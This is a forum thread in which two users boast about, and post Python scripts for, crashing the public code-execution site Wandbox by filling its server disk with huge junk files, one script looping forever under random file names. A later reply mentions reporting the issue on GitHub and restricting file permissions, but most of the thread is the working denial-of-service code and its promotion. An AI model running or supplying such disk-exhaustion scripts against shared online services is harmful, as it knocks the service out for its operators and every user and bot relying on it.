Forum > General >

Me and Wabz found a way to overload Wandbox (renders the whole site useless)

NemesisX

Spoon#8225

Posts: 168

Threads: 56

Joined: Nov, 2018

Reputation: 4

Posted

Yes. With Python and the open() function.

 

I first found it out and Wabz did some upgrade to make it even more deadly. 

 

This code will crash Wandbox. And every bot that uses wandbox will just have those commands not work.

 

Wabz:

import random

while True:

    with open(str(random.randint(100000000, 9999999999)), "w+") as f:

        f.write("A"*9999999)

 

Mine:

import os

for i in range(0,150):

    with open(("file"+str(i)),"w+") as file:

         file.write("bruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruhbruh" * 90000)

print(os.path.getsize("./file0"))

print(os.path.getsize("./file1"))

  • 0

https://cdn.discordapp.com/attachments/744131168018104320/749027674323812373/kekw.mp4 

 

Wabz

Winning.js

Posts: 1956

Threads: 143

Joined: Apr, 2020

Reputation: 27

Replied

So basically, it's gonna fill up the space in their VPS. So much that they wont be able to delete those files afterwards. There is no way for Jon to fix this (unless he switches to another API) but to restrict file access. For wandbox, you could block file creation in the folder, im sure unix shell perms can do that.

 

Also, Spoon was the first to discover it, i just wrote something better

  • 0

Added

i will submit an issue in their github about that

  • 0

Added

Please bump this issue so that it can get fixed: https://github.com/melpon/wandbox/issues/319

  • 0

My new discord is Wabz#1337 with ID 777154062789509130

davidTube

not inactive

noticed

Posts: 1628

Threads: 83

Joined: Dec, 2018

Reputation: 54

Replied

nice ummm cool i guess

  • 0

Users viewing this thread:

( Members: 0, Guests: 1, Total: 1 )